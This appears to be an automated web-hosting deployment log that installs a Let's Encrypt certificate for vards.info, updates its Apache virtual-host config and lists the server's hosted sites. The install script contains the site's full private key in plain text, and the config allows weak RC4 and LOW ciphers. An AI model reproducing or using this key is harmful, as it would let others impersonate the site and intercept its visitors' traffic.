mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4
rm RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg
2025-11-30 06:01:17:
chmod 755 /tmp/pkp661082; /tmp/pkp661082; rm /tmp/pkp661082
2025-11-30 06:01:17:
2025-11-30 06:01:17: Establishing a connection
2025-11-30 06:01:17:
PUT: /tmp/pkp449828
#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt
cat > $temp_file <<'endmsg'
fb:db:17:e3:76:42:24:30:d1:56:41:69:34:8b:38:c6
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBblj18G3iMJ2/np88II08lxXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjQ2WhcNMjYwMjI4MDUwMjQ1WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr6O+
EtEaDJ5TB7mj0/g8VGsCCbP1yQm5R6ZTuxFvgmZdvVZniI2cO82wp2iakpljtmc+
pDcXnrC7JXaXaeiZY+J56YfhPiqMqJ1+VTGUaJfPnDGo0tmziHmi/pr/DyAl0v56
CdtQeVDUWNkGTXMtZ8hL9vvoWvT2VEdvmQLnQ1fo2OJksas3wPycirplmnhvl6I6
QGL349WAxALCJJB5bKYwBDG5nQu4+H+LLm5ohDSpV1K7h2pzJPO2SFhV6a4+8Ldo
1Oouck92f/QvBTFor1JZh0U6p54NW31wg0vk6mhn54G1QIjq5JolDO7U8Z0T1g9Y
sseNZGSZ3vStMMT9vwIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSOp0sIFJcZSzU4GB0GwUXXXnQ8jDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvODguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcAGYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGa01np3QAABAMA
SDBGAiEA9YljbaQrdJDddT1eCGvw5CM4rmCHpVf94fOo9Q4mQd8CIQDzZsNjhK+1
P4+kCwqF7e7qaGeuaOQQaDMj17ZlsAH2nAB2AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmtNZ6dUAAAQDAEcwRQIhAKi8Fd/tr9QXZQ9V4CoS/8SU
dEy1d7r7CoWZQx7JL/3CAiA/aXmi96QK7r/MVNP4Mq2knO6z/HNoa+6gv+C25VQy
mTANBgkqhkiG9w0BAQsFAAOCAQEAYvdo6nxKkzyJdjZ/lmKElCQDHjM1bthtQ/8W
gypo6cfGqbuj2NcPf2UyPLrpmOy0eqlp89c49abrPCQzolElpd4+SHTCaqyQOlnW
rXbW9J/WiuAmTskEpVY3KoSjRlXwZS5dIG7ppOyQvKZojOx2ezhR7lKhQ+IKVaS9
MCp6/F/c1D5pwb1VuBoT7mt5nIWLswBZAzfNY35mNKY5PQuP9U0ezFkCdnBJpQyw
5uRFIe5cIqe4M9r5RGgOJLhc2SFMk4aXQjRdzpU9h5v3gCmJ3t5qWb4d2ykmdnc0
RwvDo4YHIPMBQSybCnuh13cQt6DE5k/YitVNB/ZYkNCWSzlY4g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvo74S0RoMnlMH
uaPT+DxUawIJs/XJCblHplO7EW+CZl29VmeIjZw7zbCnaJqSmWO2Zz6kNxeesLsl
dpdp6Jlj4nnph+E+KoyonX5VMZRol8+cMajS2bOIeaL+mv8PICXS/noJ21B5UNRY
2QZNcy1nyEv2++ha9PZUR2+ZAudDV+jY4mSxqzfA/JyKumWaeG+XojpAYvfj1YDE
AsIkkHlspjAEMbmdC7j4f4submiENKlXUruHanMk87ZIWFXprj7wt2jU6i5yT3Z/
9C8FMWivUlmHRTqnng1bfXCDS+TqaGfngbVAiOrkmiUM7tTxnRPWD1iyx41kZJne
9K0wxP2/AgMBAAECggEAAr6MOb8KqSfQJE7CQI2gY7FIVt54+KsuOfBfXoznMSJo
VI0FER0lU8ni+Lqpr6C17iOu1uIFfHVGd09jDkSUIPto7D0zR8VibUAIuUwNBZVZ
qRcdjC3aoEdGRLQnSBU4ghN31K+YkkyxBLJfZtZl3zlB9pn5B3LMZoS3OazR8Dto
wOvzTNAETTdEL++dcBvCyEsFvGsRy+mItaOJ4b1FxwVhkIdBC3UlCrC8ZXV/i38y
4kT9228n9i7ZCb02xFtFu1i/7b1Xs1Pz1hSAfjd93VFaWtTheBR+4tiGcWlLW0DK
ckdreOJ6SteSRZUHbGRAkkyslr8NRLiJWs6J/jMAAQKBgQDnuf1YslLzNVLme11k
+nPNUbX2obLv2tt3fC/b+LLaiXkWwK1Gaatotdaj3X39Pec4ba+0Ysqlpob+SBOx
KqG1yy8f4UUff9Ssmmtm1YihVbpTlEdUMYS9aFDCUkfixsgyT4ISXvvVwn4u7lo4
oNU5ixAfYy6maV2cB8nOrO7HPwKBgQDCCbf9zoP9PMVcQmmosbfpQnjBwnx6SiTh
fMME2hO90GLzyVAOhdQwTTchxHcrBp3Yi6r/CV70KLjp2rSEWooDfel3VFOyx5D/
Y3MjganCJcoa5y7TOJuSHVJbtRTRAJbI04gyzhBJzaSu1MFb9dycp6+AdK/mCZN5
ATGrVJapgQKBgF+ngfIUInOsxlzH/eSKEjVmDnQRiZjDQicPh34JKmNVrjt7K8vO
IOinb0PTUYew/vpnJMmUokxA8qaSwDY4/+nYRsqlJfB7xyG82KrpaG4YwkJwCgWy
LzY0kmm0p2HwZoGGGo5U0SYLFCVxVKLdmUcYpX4fZglhozeea2q6LhLnAoGBAKri
jkSbPMioXZPr9UuZAEQQw3K5CpFUfPiMvN+oA1zWil7y+2te10mWpyg4805ULG1K
S9UB9rsGphtl/jbV2dhLanIqNPAtK3iPqBYsGkoep8hbs3RX1UKwShjz+Bo87458
JOXBbrzgu9kxC/0mIR1h3IE/wq3P3y3hLFIcU/eBAoGBAKVAARpjyHlcjIU9yzQ1
3SvNXCNCCSNOLvOTlVThYMglU+3ZY2qdePROV6KNfSGCtg6HTwg1NGxcmBH4xlYp
jSH7ejeckvUFZ5vGcGOnRQ/AVm5z+79wQ/HRbcVxu87F7fIaqSYzWNmLuA4r9Slp
u1cQeuokS9nzB85ABrM8IW7I
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:01:17:
chmod 755 /tmp/pkp449828; /tmp/pkp449828; rm /tmp/pkp449828
2025-11-30 06:01:17:
dir=/etc/ssl/certs
2025-11-30 06:01:17:
PUT: /tmp/pkp737044
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/vards_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:01:17:
chmod 755 /tmp/pkp737044; /tmp/pkp737044; rm /tmp/pkp737044
2025-11-30 06:01:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:17:
PUT: /tmp/pkp107355
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi
2025-11-30 06:01:17:
chmod 755 /tmp/pkp107355; /tmp/pkp107355; rm /tmp/pkp107355
2025-11-30 06:01:17:
2025-11-30 06:01:17:
PUT: /tmp/pkp634857
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:01:17:
chmod 755 /tmp/pkp634857; /tmp/pkp634857; rm /tmp/pkp634857
2025-11-30 06:01:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:17: Establishing a connection
2025-11-30 06:01:17:
PUT: /tmp/pkp866852
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:01:17:
chmod 755 /tmp/pkp866852; /tmp/pkp866852; rm /tmp/pkp866852
2025-11-30 06:01:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:01:17:
PUT: /tmp/pkp970958
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/vards_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:17:
chmod 755 /tmp/pkp970958; /tmp/pkp970958; rm /tmp/pkp970958
2025-11-30 06:01:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 1329
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-30 06:01:17:
PUT: /tmp/pkp849059
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-30 06:01:17:
chmod 755 /tmp/pkp849059; /tmp/pkp849059; rm /tmp/pkp849059
2025-11-30 06:01:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt 5360
fb:db:17:e3:76:42:24:30:d1:56:41:69:34:8b:38:c6
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBblj18G3iMJ2/np88II08lxXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjQ2WhcNMjYwMjI4MDUwMjQ1WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr6O+
EtEaDJ5TB7mj0/g8VGsCCbP1yQm5R6ZTuxFvgmZdvVZniI2cO82wp2iakpljtmc+
pDcXnrC7JXaXaeiZY+J56YfhPiqMqJ1+VTGUaJfPnDGo0tmziHmi/pr/DyAl0v56
CdtQeVDUWNkGTXMtZ8hL9vvoWvT2VEdvmQLnQ1fo2OJksas3wPycirplmnhvl6I6
QGL349WAxALCJJB5bKYwBDG5nQu4+H+LLm5ohDSpV1K7h2pzJPO2SFhV6a4+8Ldo
1Oouck92f/QvBTFor1JZh0U6p54NW31wg0vk6mhn54G1QIjq5JolDO7U8Z0T1g9Y
sseNZGSZ3vStMMT9vwIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSOp0sIFJcZSzU4GB0GwUXXXnQ8jDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvODguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcAGYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGa01np3QAABAMA
SDBGAiEA9YljbaQrdJDddT1eCGvw5CM4rmCHpVf94fOo9Q4mQd8CIQDzZsNjhK+1
P4+kCwqF7e7qaGeuaOQQaDMj17ZlsAH2nAB2AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmtNZ6dUAAAQDAEcwRQIhAKi8Fd/tr9QXZQ9V4CoS/8SU
